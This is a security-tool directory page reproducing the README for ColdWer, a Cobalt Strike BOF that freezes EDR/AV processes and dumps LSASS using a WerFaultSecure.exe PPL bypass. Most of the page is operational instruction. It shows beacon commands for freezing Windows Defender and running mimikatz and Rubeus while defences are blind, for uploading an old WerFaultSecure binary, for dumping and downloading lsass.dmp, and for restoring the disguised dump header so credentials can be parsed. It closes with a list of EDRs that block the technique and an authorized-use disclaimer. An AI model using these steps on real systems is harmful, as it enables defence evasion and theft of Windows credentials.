Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ColdWer — Cobalt Strike BOF to freeze EDR/AV processes and dump LSASS using WerFaultSecure.exe PPL bypass | Kitploit
Tools/GitHubGitHub/0xsh3llf1r3/coldwer
Privilege EscalationExploitationLateral MovementPost-ExploitationRed TeamingPayload Development
GitHub0xsh3llf1r3/coldwer

ColdWer

Cobalt Strike BOF to freeze EDR/AV processes and dump LSASS using WerFaultSecure.exe PPL bypass

View Repository
144236 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ColdWer
A cold war on your endpoint.

Stars Forks License


🥶 ColdWer

ColdWer leverages WerFaultSecure.exe PPL bypass to freeze EDR/AV processes and dump LSASS memory on modern Windows systems.

root@kitploit:~
C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

Freeze your EDR/AV. Extract what you need. Stay cold.


👤 Author

Sh3llf1r3 (@0xsh3llf1r3)


🙏 Credits

This project builds upon research by TwoSevenOneT (@TwoSevenOneT):

ProjectDescription
EDR-FreezeOriginal EDR freeze technique
WSASSLSASS dump via WerFaultSecure

All credit for the underlying techniques goes to TwoSevenOneT.


🔥 Features


🚀 Getting Started

📋 Prerequisites

  • Cobalt Strike 4.x
  • High integrity beacon (Administrator/SYSTEM)

💾 Installation

  1. Clone the repository:
root@kitploit:~
git clone https://github.com/0xsh3llf1r3/ColdWer.git
  1. Load the aggressor script in Cobalt Strike:
  • Go to Cobalt Strike → Script Manager
  • Click Load
  • Select cw/coldwer.cna

📦 Building from Source

root@kitploit:~
# Navigate to source directory
cd src/

# Compile BOF (requires MinGW)
make

# Or manually:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

📥 Quick Download

  1. Go to Releases
  2. Download coldwer.o and coldwer.cna
  3. Place both in the same folder
  4. Load coldwer.cna in Cobalt Strike

🖥️ Usage

❄️ Freeze EDR/AV

root@kitploit:~
# Find Windows Defender PID
beacon> ps

# Freeze the process
beacon> cw-freeze 1337

# Execute your commands while EDR/AV is frozen
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# Unfreeze when done
beacon> cw-unfreeze

🔓 Dump LSASS

root@kitploit:~

# Step 1: Upload Win8.1 WerFaultSecure.exe
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# Step 2: Find LSASS PID
beacon> ps

# Step 3: Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Step 4: Download the dump
beacon> download C:\Windows\Temp\lsass.dmp

🔧 After Download

Change the file header to restore the minidump format:

Original (PNG)Change to (MDMP)
89 50 4E 474D 44 4D 50

Restore Header Commands:

MethodCommand
Pythonopen('lsass.dmp','r+b').write(b'MDMP')
Bashprintf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc
PowerShell$f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close()

Then parse with Mimikatz:

root@kitploit:~
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

📋 Commands

CommandDescription
cw-freeze <PID> [Path]Freeze process
cw-unfreezeUnfreeze previously frozen process
cw-dump <PID> <Path>Dump LSASS memory

📝 Examples

root@kitploit:~
# Freeze with default path
beacon> cw-freeze 1337

# Use custom WerFaultSecure.exe
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Unfreeze when done
beacon> cw-unfreeze

✅ Supported Targets

TargetStatus
Windows Defender (MsMpEng.exe)✅ Works
LSASS (lsass.exe)✅ Works
Other PPL processes✅ Works

⚠️ Limitations

Does NOT work against EDRs with kernel-mode self-protection:

EDRStatus
Elastic Endpoint❌ Blocked
CrowdStrike Falcon❌ Blocked
SentinelOne❌ Blocked
Carbon Black❌ Blocked

⚙️ How It Works

root@kitploit:~
1. 🚀 Launch WerFaultSecure.exe as PPL (WinTcb level)
                    ↓
2. 🎯 WerFaultSecure attaches to target process
                    ↓
3. ⏸️  MiniDumpWriteDump suspends all target threads
                    ↓
4. 🥶 Suspend WerFaultSecure itself → Target stays frozen
                    ↓
5. ✅ Execute your commands (EDR/AV can't see!)
                    ↓
6. 🔥 Terminate WerFaultSecure → Target unfreezes

🔑 Why Win8.1 WerFaultSecure?

VersionOutput
Windows 10/11Encrypted dump only
Windows 8.1Raw unencrypted dump

🔍 Troubleshooting


⚖️ Disclaimer

root@kitploit:~
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY

This tool is intended for:
- Authorized penetration testing
- Red team operations with written permission
- Security research in controlled environments

The author is not responsible for any misuse or damage caused by this tool.
Unauthorized access to computer systems is illegal.

📜 License

MIT License - See LICENSE


🥶 Stay Cold. Stay Quiet. 🥶

⭐ Star this repo if you find it useful! ⭐

Download Tool
FeatureDescription
❄️ FreezePut EDR/AV processes into a coma state
🔓 DumpExtract LSASS memory bypassing PPL
🛡️ PPL BypassLeverage WerFaultSecure.exe at WinTcb level
⚡ FastInline BOF execution
🎯 Manual ControlYou decide when to freeze and unfreeze
ErrorCauseSolution
File not foundInvalid pathCheck WerFaultSecure.exe path
Access deniedLow privilegesRun as Administrator/SYSTEM
Invalid signatureUnsigned binaryUse properly signed WerFaultSecure.exe
Process does not existWrong PIDVerify PID with ps command
Target protectedKernel protectionEDR has self-protection (not bypassable)
Already frozenState stuckRun cw-unfreeze first